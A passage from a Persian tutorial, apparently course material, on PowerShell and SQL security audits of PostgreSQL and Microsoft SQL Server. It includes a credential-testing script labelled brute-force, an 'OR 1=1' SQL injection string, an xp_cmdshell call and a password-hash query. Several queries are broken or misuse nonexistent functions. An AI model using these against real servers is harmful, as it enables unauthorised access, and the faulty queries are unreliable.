 مجاز:  زبان یاتصالات م ستیل ی پرس و جو برا

SELECT version(); 

Access control verification : 

 از حد:  شی ب ی داده با مجوزها یهاگاهیپا ییشناسا ی پرس و جو برا

SELECT 
     schemaname AS "Schema", 
     tablename AS "Table/View", 
     privilege_type AS "Privilege", 
     grantee AS "User/Role" 
FROM information_schema.role_table_grants 
WHERE 
     privilege_type IN ('SELECT', 'INSERT', 'UPDATE', 'DELETE') 
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     AND grantee NOT IN ('postgres', 'public') 
     AND schemaname NOT IN ('information_schema', 'pg_catalog') 
ORDER BY 
     schemaname, tablename, privilege_type, grantee; 

 : Wildcardهای  Hostnameکاربران با  ی بررس  ی پرس و جو برا

SELECT 
     r.rolname AS "Username", 
     s.clienthostname AS "Host" 
FROM pg_stat_statements 
JOIN pg_roles r ON r.oid = s.userid 
WHERE 
     s.clienthostname LIKE '%_%' ESCAPE '|'; 

Data protection and encryption : 

 : SSL/TLSفعال بودن  ی بررس  ی پرس و جو برا

SELECT 
     name AS "Parameter", 
     setting AS "SSL/TLS Enabled" 
FROM pg_settings 
WHERE name = 'ssl'; 

Backup security : 

 کاربران:  ی ری گ بانیپشت یمجوزها ی بررس  ی پرس و جو برا

SELECT 
     rolname AS "Role Name", 
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     path AS "File or Directory Path", 
     access, 
     pg_stat_file_mode(access) AS "Permissions" 
FROM pg_stat_file 
JOIN 
     pg_roles ON pg_roles.oid = pg_stat_file.st_owner 
WHERE 
     path LIKE '/path/to/backup/directory%'; 

SQL injection testing : 

 (: یشیاهداف آزما ی)برا  SQL ق یتزر ه ی تلاش اول کی  یساز ه یشب ی پرس و جو برا

SELECT * FROM Products WHERE ProductID = '1 OR 1=1; --'; 

Brute-force detection: 

 ورود:  یهانظارت بر تلاش  ی پرس و جو برا

# Import the Npgsql module 
Import-Module Npgsql 
 
# PostgreSQL server details 
$server = "your_postgresql_server" 
$database = "your_database" 
$username = "your_username" 
$password = "your_password" 
 
# Connection string 
$connectionString = "Server=$server;Database=$database;User 
Id=$username;Password=$password;" 
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# SQL query 
$query = @" 
SELECT 
     datname AS "Database", 
     usename AS "Username", 
     client_addr AS "Client IP Address", 
     client_port AS "Client Port", 
     backend_start AS "Backend Start Time", 
     state AS "Connection State", 
     application_name AS "Application Name" 
FROM 
     pg_stat_activity 
WHERE 
     state = 'active'; 
"@ 
 
try { 
     # Establish connection 
     $connection = New-Object Npgsql.NpgsqlConnection 
     $connection.ConnectionString = $connectionString 
     $connection.Open() 
 
     # Execute the query 
     $command = New-Object Npgsql.NpgsqlCommand($query, 
$connection) 
     $reader = $command.ExecuteReader() 
 
     # Display results 
     if ($reader.HasRows) { 
          while ($reader.Read()) { 
               Write-Host "Database: $($reader["Database"]), Username: 
$($reader["Username"]), Client IP Address: $($reader["Client 
IP Address"]), Client Port: $($reader["Client Port"]), Backend 



 
 

 
 

 پاورشل برای تست نفوذ آشنایی با 

Securityworld.ir  شرکت دهکده امن فناورانه صبا 

Start Time: $($reader["Backend Start Time"]), Connection 
State: $($reader["Connection State"]), Application Name: 
$($reader["Application Name"])" 
          } 
     } else { 
          Write-Host "No active connections found." 
     } 
} catch { 
     Write-Host "Error executing SQL query: $_" 
} finally { 
     # Close connection 
     if ($connection.State -eq 'Open') { 
          $connection.Close() 
     } 
} 

بررس   یبرخ  نهایا و  جوها  و  پرس  م   SQL  جیرا  یهای از  که  بخشی هستند  ارز  ی توانند    ی برا  یت یامن  یابیاز 

PostgreSQL  سازمان، دامنه    ی تیامن  یهایمش خاص مورد استفاده ممکن است بر اساس خط   یهاباشند. پرسش

متفاوت   دهند،ی را انجام م  ی ابیارز که یتی به کار گرفته شده توسط متخصصان امن یها پت یابزارها و اسکر ،یابیارز

 باشد. 

Vulnerability assessment 

ارز  ییشناسا  ند یفرآ  ،یریپذ بیآس   یابیارز در    یتیامن  یهایریپذ بی آس   یابیو  است.    ستمیس   ک یبالقوه 

PowerShell  ط یشناخته شده در مح  یهای ریپذ بیآس   ی مرحله با بررس   نیتواند در ا ی م  PostgreSQL    شما

 کمک کند. 

Version scanning 

در    SQL  یپرس و جو   یبا اجرا  PostgreSQLداده    گاهینسخه پا  ییشناسا  ی برا  PowerShellاز    د یتوانیشما م

 کار آورده شده است:   نیاز نحوه انجام ا یمثال  نجای. در اد یداده استفاده کن گاهیبرابر پا
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Import-Module Npgsql 
$server = "postgresql.snowcapcyber.com" 
$port = 5432 
$database = "mypostdb" 
$username = "mypostuser" 
$password = "mypostpassword" 
$connectionString = "Host=$server;Port=$port;Database=$database;User- 
name=$username;Password=$password;" 
$connection = Connect-Npgsql -ConnectionString $connectionString 
if ($connection.State -eq 'Open') { 
     # Define the SQL query to retrieve the PostgreSQL version 
     $versionQuery = "SELECT version();" 
     $command = $connection.CreateCommand() 
     $command.CommandText = $versionQuery 
     $result = $command.ExecuteScalar() 
     if ($result) { 
          Write-Host "PostgreSQL Database Version: $result" 
     } else { 
          Write-Host "Unable to retrieve PostgreSQL database version." 
     } 
     $connection.Close() 
} 
else { 
     Write-Host "Failed to connect to the PostgreSQL database." 
} 

 : میدهی را انجام م ر یمثال موارد ز  نیدر ا

 . د یوارد کن Import-Moduleبا استفاده از   PostgreSQLاتصال  یرا برا  Npgsqlماژول   .1

  د ی. مطمئن شود یکن   ف یو رمز عبور را تعر  ی داده، نام کاربر  گاه یاتصال مانند سرور، پورت، نام پا  یپارامترها .2

 .اید نموده  نیگزیخود جا ی واقع  PostgreSQLسرور  ات یرا با جزئ ر یمقاد نیکه ا

 .د یبساز ی شده قبل فی تعر یپارامترها بیرشته اتصال را با ترک  .3

 .د یکن جاد یبا رشته اتصال ساخته شده ا Connect-Npgsqlاتصال با استفاده از   یش  کی .4

که نشان دهنده اتصال موفق است. در صورت    ر،یخ  ایاتصال باز است    تیوضع   ایکه آ  د یکن  یبررس  .5

 . میکنی م PostgreSQLنسخه  ییبودن، اقدام به شناسا زیآم  تیموفق 
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 . د یکن ف یتعر ;()SELECT version یبا اجرا PostgreSQLنسخه  یابیباز ی برا SQL ی کوئر کی .6

و متن فرمان    د یکن  جاد یا  ()connection.CreateCommand$با استفاده از    command  یش   کی .7

 .د یکن  میتنظ  version query یرا رو 

  result$  ریرا در متغ  جهیو نت   د یاجرا کن  ()command.ExecuteScalar$پرس و جو را با استفاده از   .8

 . د یکن ره یذخ

نت .9 پا  جهیاگر  نباشد، نسخه  م  PostgreSQLداده    گاهیصفر  نشان    نیا  ری. در غمیکنیرا چاپ  صورت، 

 . میکن  یابینسخه را باز م یتوانی که نم میدهی م

 .میبند ی م  ()connection.Close$داده را با استفاده از  گاهیاتصال پا ت،یدر نها .10

کند و سپس  ی م   یابیشود و نسخه آن را بازی متصل م  PostgreSQLداده    گاهیبه پا  PowerShell  پتیاسکر  نیا

 شود. ی داده م   شیدر کنسول نما

Penetration testing 

در برابر حملات   ستمیمقاومت س  یابیارز  ی ها برایریپذ بیاز آس   ی بهره بردار  یتست نفوذ شامل تلاش فعالانه برا 

 استفاده شود.  MySQL ی تیامن ت یوضع ی ابیحملات و ارز ی ساز هی شب یتواند برای م  PowerShellاست. 

SQL injection testing 

را با    SQL  قیتواند حملات تزری م   PowerShellوب است.  تحت    یهابرنامه   جیرا  یر یپذ ب یآس   کی  SQL  قیتزر

 کند.  یساز هیدر برنامه شما شب یاحتمال یهای ریپذ ب یسوء استفاده از آس  یمخرب برا ی پرس و جوها جادیا

Brute-force attacks 

  ی با تلاش برا  PostgreSQLداده    گاهیپا  یو رمز عبور برا  ینام کاربر  شیآزما  یبرا  PowerShellاز    د یتوانی م

ر  و رمز عبور ارائه شده معتب  ی باشد، نام کاربر  زی آم تی. اگر اتصال موفق د یداده استفاده کن گاهیاتصال به پا ی برقرار

 شود. ی م  برگرداندهخطا   کیصورت  نیا ر یاست. در غ

Import-Module Npgsql 
$server = "postgresql.snowcapcyber.com" 
$port = 5432 
$database = "mypostdb" 
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$username = "mypostuser" 
$password = "mypostpassword" 
$connectionString = 
"Host=$server;Port=$port;Database=$database;Username=$username;Passwor
d=$password;" 
try { 
     $connection = Connect-Npgsql -ConnectionString $connectionString 
     if ($connection.State -eq 'Open') { 
          Write-Host "Connection to PostgreSQL database successful. Username 
and password are valid." 
          $connection.Close() 
     } else { 
 Write-Host "Connection to PostgreSQL database failed. Username 
and/or password are invalid." 
     } 
} 
catch { 
     Write-Host "An error occurred while connecting to the PostgreSQL 
database: $_.Exception.Message" 
} 

Access control verification 

کنترل   نانیاطم برا  یدسترس   یهااز  ح  گاهیپا  ت یامن  ی مناسب  به  ی م  PowerShellاست.    ی اتیداده  تواند 

 کمک کند.  PostgreSQLکاربر در سرور  یهاو نقش  ازاتیامت یاعتبارسنج

Listing PostgreSQL users 

ماژول    PowerShellاز    د یتوانی م کاربران    یبرا   Npgsqlبا  کردن  پا  PostgreSQLفهرست  داده    گاهیدر 

PostgreSQL د ی استفاده کن . 

# Import the Npgsql module 
Import-Module Npgsql 



 
 

 
 

 پاورشل برای تست نفوذ آشنایی با 

Securityworld.ir  شرکت دهکده امن فناورانه صبا 

 
# PostgreSQL server details 
$server = "postgresql.snowcapcyber.com" 
$port = 5432 
$database = "mypostdb" 
$username = "mypostuser" 
$password = "mypostpassword" 
# Connection string 
 
$connectionString = 
"Host=$server;Port=$port;Database=$database;Username=$username;Passwor
d=$password;" 
 
try { 
     # Attempt to connect to the PostgreSQL database 
     $connection = Connect-Npgsql -ConnectionString $connectionString 
 
     # Check if the connection is open 
     if ($connection.State -eq 'Open') { 
          Write-Host "Connection to PostgreSQL database successful. Username 
and password are valid." 
 
          # Close the connection 
          $connection.Close() 
     } else { 
          Write-Host "Connection to PostgreSQL database failed. Username 
and/or password are invalid." 
     } 
} catch { 
     # Display error message if connection attempt fails 
     Write-Host "An error occurred while connecting to the PostgreSQL database: 
$_.Exception.Message" 
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} 

Checking user privileges 

استفاده    PostgreSQLداده    گاهیکاربر در پا  ازاتیامت  ی بررس   ی برا  Npgsqlبا ماژول    PowerShellاز    د یتوانی م

اجرا    PostgreSQL  ستمی س   یهارا در برابر کاتالوگ   SQL  یپرس و جوها  د یتوانیکار، م   نیانجام ا  ی . برا د یکن

 . د یکن  یکاربر را جمع آور  ازاتیتا اطلاعات مربوط به امت د یکن

Import-Module Npgsql 
$server = "postgresql.snowcapcyber.com" 
$port = 5432 
$database = "mypostdb" 
$username = "mypostuser" 
$password = "mypostpassword" 
$connectionString = 
"Host=$server;Port=$port;Database=$database;Username=$username;Passwor
d=$password;" 
$connection = Connect-Npgsql -ConnectionString $connectionString 
if ($connection.State -eq 'Open') { 
     # Define the SQL query to check user privileges 
     $privilegesQuery = @" 
     SELECT 
          grantee, 
          privilege_type, 
          table_name 
     FROM 
          information_schema.role_table_grants 
     WHERE 
          grantee = '$username';"@ 
     $command = $connection.CreateCommand() 
     $command.CommandText = $privilegesQuery 
     $privileges = $command.ExecuteReader() 
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     if ($privileges.HasRows) { 
          Write-Host "User Privileges for $username in $database:" 
           while ($privileges.Read()) { 
               $grantee = $privileges['grantee'] 
               $privilegeType = $privileges['privilege_type'] 
               $tableName = $privileges['table_name'] 
               Write-Host " Grantee: $grantee, Privilege Type: $privilegeType, Table 
Name: $tableName" 
          }} else { 
          Write-Host "No privileges found for user $username in $database." } 
     $connection.Close() } 
else { 
     Write-Host "Failed to connect to the PostgreSQL database."} 

از    ، یدر کد قبل کاربر استفاده    یدسترس   یگرفتن اطلاعات مربوط به حقوق و مجوزها   ی برا  PowerShellما 

 .میکنی م

Security policy testing 

PostgreSQL   را اعمال کنند.    یتیامن  ماتیها و تنظاستیدهد تا س ی اجازه م  ران یبه مدPowerShell  تواند ی م  

 هماهنگ هستند.  هاوه یش   ن یحاصل شود که با بهتر  نانی طور خودکار انجام دهد تا اطمرا به  های مشخط   نیا  یابیارز

Password policy assessment 

  ی برا  ستمیمعمولاً شامل جستجو در جداول س  PostgreSQLداده  گاهیرمز عبور در پا یخط مش یابیارز یبررس 

  PostgreSQLکه خود    یمربوط به رمز عبور است. در حال   یهااستیو س   ماتیاطلاعات در مورد تنظ  یابیباز

(، هنوز  گریداده د  گاهیپا  یهاستم یاز س   یکند )برخلاف برخی اعمال نم  ی رمز عبور را به صورت بوم  یهااستیس 

  PowerShell  قیاز طر  SQL  یرمز عبور را با استفاده از پرس و جوها  تیریاز مد   یخاص  یهاجنبه   د یتوانی هم م

 کار آورده شده است: نیاز نحوه انجام ا  یمثال نجای. در اد یکن یبررس 

Import-Module Npgsql 
$server = "postgresql.snowcapcyber.com" 
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$port = 5432 
$database = "mypostdb" 
$username = "mypostuser" 
$password = "mypostpassword" 
$connectionString = 
"Host=$server;Port=$port;Database=$database;Username=$username;Passwor
d=$password;" 
$connection = Connect-Npgsql -ConnectionString $connectionString 
if ($connection.State -eq 'Open') { 
     $passwordSettingsQuery = @" 
     SELECT 
          name AS "Parameter", 
          setting AS "Value" 
     FROM 
          pg_settings 
     WHERE 
          name IN ('password_encryption', 'password_check_duration', 
'password_min_length');"@ 
     $command = $connection.CreateCommand() 
     $command.CommandText = $passwordSettingsQuery $passwordSettings 
= $command.ExecuteReader() 
 
          if ($passwordSettings.HasRows) { 
               Write-Host "Password Policy Settings in PostgreSQL for $database:" 
               while ($passwordSettings.Read()) { 
                    $parameter = $passwordSettings['Parameter'] 
                    $value = $passwordSettings['Value'] 
                    Write-Host " $parameter: $value" 
               } 
          } 
          else { 
               Write-Host "No password policy settings found in PostgreSQL 
for $database." 
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          } 
          $connection.Close()} 
else { 
          Write-Host "Failed to connect to the PostgreSQL database."} 

SSL/TLS configuration 

  ری و مقاد  SSLمربوط به    یپارامترها  یشامل بررس   PostgreSQLداده    گاهیدر پا  SSL/TLS  یکربند یپ  یابیارز

  PostgreSQLداده    گاهیدر پا  SSL/TLS  یکربند یپ  یاب یارز  یبرا   PowerShellمثال    ک ی  نجایها است. در اآن

 آورده شده است:

Import-Module Npgsql 
$server = "postgresql.snowcapcyber.com" 
$port = 5432 
$database = "mypostdb" 
$username = "mypostuser" 
$password = "mypostpassword" 
$connectionString = 
"Host=$server;Port=$port;Database=$database;Username=$username;Passwor
d=$password;" 
$connection = Connect-Npgsql -ConnectionString $connectionString 
if ($connection.State -eq 'Open') { 
     $sslConfigQuery = @" 
     SELECT 
          name AS "Parameter", 
          setting AS "Value" 
     FROM 
          pg_settings 
     WHERE 
          name IN ('ssl', 'ssl_ca_file', 'ssl_cert_file', 'ssl_key_ 
file', 'ssl_ciphers');"@ 
     $command = $connection.CreateCommand() 
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     $command.CommandText = $sslConfigQuery 
     $sslConfigSettings = $command.ExecuteReader() 
     if ($sslConfigSettings.HasRows) { 
          Write-Host "SSL/TLS Configuration in PostgreSQL for $database:" 
          while ($sslConfigSetting = $sslConfigSettings.Read()) { 
               $parameter = $sslConfigSetting['Parameter'] 
               $value = $sslConfigSetting['Value'] 
               Write-Host " $parameter: $value" 
          } 
     } 
     else { 
          Write-Host "No SSL/TLS configuration settings found in PostgreSQL for 
$database." } 
     $connection.Close() } 
else { 
     Write-Host "Failed to connect to the PostgreSQL database."} 

را    SSL/TLSمربوط به    ماتیشود، تنظی متصل م  PostgreSQLداده    گاهیبه پا  PowerShell  پتیاسکر  نیا

که    د یکن  نییکند تعی به شما کمک م نیدهد. ای ارائه م SSL/TLS  یکربند یدر مورد پ  یکند و اطلاعاتی م یابیارز

شده را    ی کربند یپ  SSL  یو رمزها د  یکن  ی را بررس   ید ی کل  لیفا  ی رهایو مس  نامهیفعال است، گواه  SSL/TLS  ایآ

 . د یکن یبررس 

Data protection and encryption 

  PostgreSQLشده در    ی ساز  اده یپ  ی ها و رمزگذارسطح حفاظت از داده   ی ابیارز  یتوان برا ی م  PowerShellاز  

 استفاده کرد. 

Data encryption 

  ی رمزگذار  یهاو روش   یفعال بودن رمزگذار  یشامل بررس   PostgreSQLداده    گاهیها در پاداده   یرمزگذار  یابیارز

ا در  است.  استفاده  حال  پاداده   یرمزگذار   یابیارز  ی برا  PowerShellمثال    کی  نجایدر  در  داده    گاهیها 

PostgreSQL :آورده شده است 
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Import-Module Npgsql 
$server = "postgresql.snowcapcyber.com" 
$port = 5432 
$database = "mypostdb" 
$username = "mypostuser" 
$password = "mypostpassword" 
$connectionString = 
"Host=$server;Port=$port;Database=$database;Username=$username;Passwor
d=$password;" 
$connection = Connect-Npgsql -ConnectionString $connectionString 
if ($connection.State -eq 'Open') { 
     $encryptionQuery = @" 
     SELECT 
           name AS "Parameter", 
           setting AS "Value" 
     FROM 
           pg_settings 
     WHERE 
           name IN ('ssl', 'ssl_ca_file', 'ssl_cert_file', 'ssl_key_ 
file');"@ 
     $command = $connection.CreateCommand() 
     $command.CommandText = $encryptionQuery 
     $encryptionSettings = $command.ExecuteReader() 
     if ($encryptionSettings.HasRows) { 
          Write-Host "Encryption Settings in PostgreSQL for $database:" 
           while ($encryptionSetting = $encryptionSettings.Read()) { 
               $parameter = $encryptionSetting['Parameter'] 
               $value = $encryptionSetting['Value'] 
               Write-Host " $parameter: $value" 
          } 
     } 
     else { 
          Write-Host "No encryption settings found in PostgreSQL for 
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$database." 
     } 
     $connection.Close() 
} 
else { 
     Write-Host "Failed to connect to the PostgreSQL database." } 

Backup security 

  ی رو  یدسترس   یهامجوزها و کنترل   یشامل بررس   PostgreSQLداده    گاهیدر پا  ی ریگبان یپشت  تیامن  یبررس 

موجود در    یهال یوجود دارد که فا  PowerShellمثال    ک ی  نجایها است. در ای رکتوریو دا  بانیپشت  یهالیفا

 :کند ی م  یها را بررس آن  ی تیامن ماتیو تنظ کند یم  لیسترا  بانیفهرست پشت

$backupDirectory = "C:\path\to\backup\directory" 
$backupFiles = Get-ChildItem -Path $backupDirectory 
if ($backupFiles.Count -gt 0) { 
     Write-Host "PostgreSQL Backup Files in $backupDirectory:" 
     foreach ($backupFile in $backupFiles) { 
          $backupFilePath = $backupFile.FullName 
          Write-Host "Backup file: $($backupFile.Name)" 
          $fileSecurity = Get-Acl -Path $backupFilePath 
          Write-Host "Security settings:" 
           foreach ($ace in $fileSecurity.Access) { 
               Write-Host " User/Group: $($ace.IdentityReference), 
Permissions: $($ace.FileSystemRights)" 
          } 
          Write-Host "" 
     } 
} else { 
     Write-Host "No PostgreSQL backup files found in the specified 
directory." 
} 
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Logging and monitoring 

PowerShell   ثبت و نظارت    یهات یقابل  یابیتواند در ارزی مPostgreSQL  و پاسخ به حوادث    ییشناسا  ی برا

 کمک کند.  یتیامن

Reviewing error logs 

و    هیبا خواندن و تجز  PostgreSQLداده    گاهیخطا در پا  یهاگزارش   یبررس   یبرا  PowerShellاز    د یتوانی م

کن  PostgreSQL  لاگ  یهال یفا  لیتحل فا  PostgreSQL.  د یاستفاده  در    لاگ  یهال یمعمولاً  را    ک یخود 

  ی خواندن و بررس   یبرا  PowerShellاز نحوه استفاده از    یمثال   نجای. در اسد ینوی سرور م  یمشخص رو   دایرکتوری

error log   آورده شده است:ها 

$logDirectory = "C:\PostgreSQL\13\data\pg_log" 
$logFiles = Get-ChildItem -Path $logDirectory -Filter "postgresql*. 
log" 
if ($logFiles.Count -gt 0) { 
     Write-Host "PostgreSQL Error Logs:" 
     foreach ($logFile in $logFiles) { 
          $logFilePath = $logFile.FullName 
          $logLines = Get-Content -Path $logFilePath 
          Write-Host "Log file: $($logFile.Name)" 
          $errorEntries = $logLines | Where-Object { $_ -match 
"ERROR|FATAL|PANIC" } 
          if ($errorEntries.Count -gt 0) { 
               Write-Host "Errors found:" 
               foreach ($errorEntry in $errorEntries) { 
                    Write-Host " $errorEntry" 
               } 
          } else { 
               Write-Host "No errors found in this log file." 
          } 
               Write-Host "" 
     } 
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} else { 
     Write-Host "No PostgreSQL log files found in the specified 
directory." 

{ 

  ی کربند یپ/تیتا به ما کمک کند قابل  میاستفاده کن  ها  error logاز    میتوانی م   ،یتیتست امن  کیاز    ی به عنوان بخش

 . می کن شناساییرا  یاحتمال یهایریپذ ب یآس  جهیداده و در نت گاهیپا

PowerShell and Microsoft SQL (MSSQL) 

  نان یاطم  ی برا  ی اتیح  فه یوظ   ک ی  Microsoft SQL Serverداده    گاهیجامع در برابر پا  ی تیتست امن  ک یانجام  

بودن،   محرمانه  داده   یکپارچگ یاز  بودن  دسترس  در  است.    یهاو  عنوان  PowerShellحساس  به  زبان    کی ، 

  ند یفرآ  نیدر ا  یتواند نقش مهمی م  کروسافت،یتوسط ما  افته یتوسعه    ونیهمه کاره و چارچوب اتوماس   یسینوبرنامه 

 Microsoft SQLو    PowerShell  یاساس   یدرک اجزا  ،یتیتست امن  اتیکند. قبل از پرداختن به جزئ  فایا

Server  است.  یضرور 

Microsoft SQL Server  یاداده رابطه   گاهیپا  ت یریمد   ستم یس   ک ی   (RDBMS است که به طور گسترده )یا  

م قرار  استفاده   یهای ژگ یو  SQL Serverکند.  ی م   تیریو مد   رهیرا ذخ  افتهیساخت    یهاکه داده   ردیگی مورد 

 دهد.ی را ارائه م یزی و مم  یمجوز، رمزگذار ت،یاز جمله احراز هو ی قو  یتیمنا

فرآ  یبرا امن  ند یشروع  به    ک ی  د یبا  ، یتیتست  کن  SQL Server  کروسافتیما  Instanceاتصال  .  د یبرقرار 

PowerShell  اتصال با استفاده از ماژول    کی  جادیتواند به شما در ای مSqlServer  ی انمونه   نجایکمک کند. در ا  

 آورده شده است:  SQL Serverداده   گاهیاز اتصال به پا

# Import the SqlServer module (Ensure it's installed) 
Import-Module SqlServer 
# Replace these values with your SQL Server details 
$serverInstance = "localhost" 
$database = "YourDatabase" 
$username = "YourUsername" 
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$password = "YourPassword" 
# Create a SQL Server connection 
$connectionString = "Server=$serverInstance;Database=$database;User 
Id=$username;Password=$password;" 
$connection = New-Object System.Data.SqlClient.SqlConnection 
$connection.ConnectionString = $connectionString 
# Open the connection 
$connection.Open() 
# Check if the connection is open 
if ($connection.State -eq [System.Data.ConnectionState]::Open) { 
     Write-Host "Connected to SQL Server successfully!" 
} else { 
     Write-Host "Failed to connect to SQL Server." 
} 
# Close the connection when done 
$connection.Close() 

 : میکنی عمل م ر یبه صورت ز ی در کد قبل

 .  د یکن  Importرا  SqlServerماژول   •

 . د یکن  ف یو رمز عبور( را تعر  یداده، نام کاربر گاهی، پاserver instanceاتصال )  اتیجزئ •

  جاد یا  SQL Serverاتصال    کی  System.Data.SqlClient.SqlConnectionبا استفاده از کلاس   •

 .  د یکن

 .  د یاتصال را باز کن •

 .  ریخ ا یبوده است  ز یآم  تیاتصال موفق ا یکه آ د یکن یبررس  •

 . د یاتصال را ببند  ،پس از اتمام •

 .د یرا انجام ده  ی تیتست امنمربوط به مختلف  یهات یفعال د یتوانی اتصال موفق، م کیبا  •

  ک یانجام    یتواند برای م  ن یکد همچن  نی. امیداده هست  گاهیارتباط با پا  یما در حال برقرار  ،یدر کد پاورشل قبل 

 استفاده شود.  brute-forceحمله  
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Vulnerability assessment 

شناسا  یریپذ بیآس   یابیارز ارز  ییشامل  در    یتیامن  یهایریپذ بی آس   یابیو  است.    ستمیس   ک یبالقوه 

PowerShell  ط ی شناخته شده در مح  یهای ریپذ بیآس   یمرحله با بررس   نی تواند در ای م  SQL Server    شما  به

 کمک کند. 

SQL server version scanning 

ز  اریبس  SQL Serverنسخه    نییتع است  میریپذ بیآس   رایمهم  به توانند  ی ها  خاص نسخه   مربوط  باشند.   ای 

PowerShell  تواند ی مSQL Server جستجو کند:  مورد استفاده  اطلاعات نسخه یابیباز ی را برا 

$serverInstance = "127.0.0.1" 
$connection = New-Object System.Data.SqlClient.SqlConnection 
$connection.ConnectionString = 
"Server=$serverInstance;Database=master;Integrated Security=True;" 
$connection.Open() 
$command = $connection.CreateCommand() 
$command.CommandText = "SELECT @@VERSION;" 
$version = $command.ExecuteScalar() 
Write-Host "SQL Server Version: $version" 
$connection.Close() 

 : میدهی را انجام م ر یمثال موارد ز  نیدر ا

 . د یکن  جادیا SQL Server Instanceاتصال به  کی •

 . د یاجرا کن SQL Serverنسخه  یابیباز ی برا ی کوئر کی •

 را مشاهده نمایید.  نسخه مربوط به اطلاعات  •

Penetration testing 

در برابر حملات    ستمیس   امنیت   یابیارز  یها برایریپذ ب یاز آس   ی بهره بردار  ی تست نفوذ شامل تلاش فعالانه برا

 استفاده کرد.   SQL Server  یتیامن  تیوضع  ی ابیحملات و ارز  ی ساز  هیشب  ی توان برای م  PowerShellاست. از  
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SQL execution 

  SQLمختلف    یهایجوها و بررس وپرس   ی شامل اجرا  Microsoft SQL Server 2016  یبرا   یت یامن  یابیارز

خاص مورد استفاده ممکن    ی نادرست بالقوه است. پرس و جوها  یهای کربند یو پ  های ریپذ بیآس   ییشناسا  یبرا

 سازمان متفاوت باشد. یتی و الزامات امن ی ابیاست بسته به دامنه ارز

PowerShell    با استفاده از ماژولSqlServer  یهاداده   گاهیتعامل با پا  ی برا   یراه مناسب  Microsoft SQL 

Server  ک یدهد تا با  ی ماژول به شما اجازه م نیکند. ای فراهم م  SQL Server Instance  د ی ارتباط برقرار کن  

 .  د یرا اجرا کن SQL ی پرس و جوها ایو دستورات 

Import-Module SqlServer 
$serverInstance = "localhost" 
$database = "YourDatabase" 
$username = "YourUsername" 
$password = "YourPassword" 
$connectionString = "Server=$serverInstance;Database=$database;User 
Id=$username;Password=$password;" 
$connection = New-Object System.Data.SqlClient.SqlConnection 
$connection.ConnectionString = $connectionString 
$connection.Open() 
$query = "SELECT * FROM YourTable" 
$command = $connection.CreateCommand() 
$command.CommandText = $query 
$result = $command.ExecuteReader() 
while ($result.Read()) { 
     Write-Host "Column1: $($result["Column1"]), Column2: 
$($result["Column2"])" 
} 
$connection.Close() 

 : میدهی را انجام م ر یمثال موارد ز  نیدر ا

 .  د یکن Importرا ، آن  نشده است Importاز قبل  SqlServerاگر ماژول   •

 .  د یکن ف یو رمز عبور را تعر  یداده، نام کاربر  گاهیاتصال مانند سرور، پا اتیجزئ •

 .  د یکن  جادیا SQL Serverاتصال   ک ی ات یجزئ نیبا استفاده از ا •
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 .  د یکن  فی را تعر  میاجرا کن میخواهی را که م  SQL ی کوئر •

و آن را اجرا    د یکن  می تنظ  یکوئر  یمتن دستور آن را رو   د،یکن  جاد یا  SQL command object  کی •

 .د یکن

 .  د یپردازش کن ازیپرس و جو را در صورت ن جه ینت •

 .د یداده را ببند  گاهیاتصال پا تیدر نها •

م  نیا امکان  شما  از  ی به  پا  ی برا  PowerShellدهد  با  کن  SQL Serverداده    گاهیتعامل  استفاده  و    د یخود 

 . د یشده اجرا کن یزیررا به صورت برنامه  SQLدستورات 

  ی ت یامن  ی ابیاز ارز  ی وجود دارد که معمولاً به عنوان بخش  SQL  ج یرا  یهای از پرس و جوها و بررس   ی برخ  نجایدر ا

 شود:ی استفاده م Microsoft SQL Server 2016 یبرا

Version information: 

 : SQL Serverنسخه  یابیباز ی پرس و جو برا

SELECT @@VERSION; 

 : یتجمع یها ی روزرسانو به   سیسرو یهابسته  ی بررس  ی پرس و جو برا

SELECT SERVERPROPERTY('ProductVersion'), 
SERVERPROPERTY('ProductLevel'); 

Authentication and authorization : 

 :SQLبه سرور  های انجام شده  Login ستیل ی پرس و جو برا

SELECT name, type_desc, is_disabled FROM sys.sql_logins; 

 سطح سرور:  یهافهرست کردن نقش  ی پرس و جو برا
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SELECT name FROM sys.server_principals WHERE type = 'R'; 

 داده:  گاهیسطح پا یهافهرست کردن نقش  ی پرس و جو برا

SELECT name FROM sys.database_principals WHERE type = 'R'; 

Permissions and privileges : 

 نقش خاص:   ایکاربر   کی یمجوزها ی بررس  ی پرس و جو برا

EXEC sp_helprotect @username; 

 نقش:  ایکاربر  ک ی یداده موثر برا  گاهیپا یفهرست کردن مجوزها ی پرس و جو برا

EXEC sp_srvrolepermission @username; 

Password policy: 

 : ریخ ایاعمال شده است  SQL Serverورود به  یرمز عبور برا ی خط مش ک ی ایآ نکه یا ی بررس  ی پرس و جو برا

SELECT name, is_policy_checked FROM sys.sql_logins WHERE is_ 
policy_checked = 1; 

Encryption and SSL/TLS: 

 : ریخ ایداده فعال است   یها گاه یپا یبرا Transparent Data Encryption ایآ نکه یا ی بررس  ی پرس و جو برا

SELECT name, is_encryption_enabled FROM sys.dm_database_ 
encryption_keys; 

 فعال: SSL/TLS یهاپروتکل ی بررس  ی پرس و جو برا
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EXEC xp_readerrorlog 0, 1, 'SSL is enabled'; 

Backup security : 

 داده:  گاهیاز پا یریگبان یفهرست کردن سابقه پشت ی پرس و جو برا

SELECT database_name, backup_start_date, backup_finish_date FROM 
msdb.dbo.backupset; 

 :بانیحفظ نسخه پشت یخط مش ی بررس  ی پرس و جو برا

EXEC sp_configure 'backup retention period'; 

Auditing and logging : 

 : Auditingفعال بودن   ی بررس  ی پرس و جو برا

SELECT is_tracked_by_c2_audit_mode, is_cdc_enabled FROM sys. 
databases; 

 :SQL Server  یخطا یهاگزارش  ی بررس  ی پرس و جو برا

EXEC xp_readerrorlog; 

SQL injection testing : 

 (: یشیاهداف آزما ی)برا SQL ق یتزر ه ی تلاش اول کی  یسازه یشب ی پرس و جو برا

SELECT * FROM Products WHERE ProductID = '1 OR 1=1; --'; 

Brute-force detection: 

 ورود:  یهانظارت بر تلاش  ی پرس و جو برا
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SELECT login_name, host_name, login_failed_time FROM sys.dm_ 
exec_connections WHERE net_transport = 'TCP'; 

Database vulnerabilities: 

 شبکه:  یها باز و پروتکل  یهاپورت  نمودن  ستیل ی پرس و جو برا

```sql 
 xp_cmdshell('netstat -ano'); 
 ``` 

 :SQLورود به   یبرا  فیعبور ضع یرمزها ییشناسا ی پرس و جو برا

```sql 
 SELECT name, password_hash FROM sys.sql_logins WHERE is_ 
disabled = 0; 
 ``` 

Operating system integration : 

 : SQL Server  سیحساب سرو ازاتیامت ی بررس  ی پرس و جو برا

```sql 
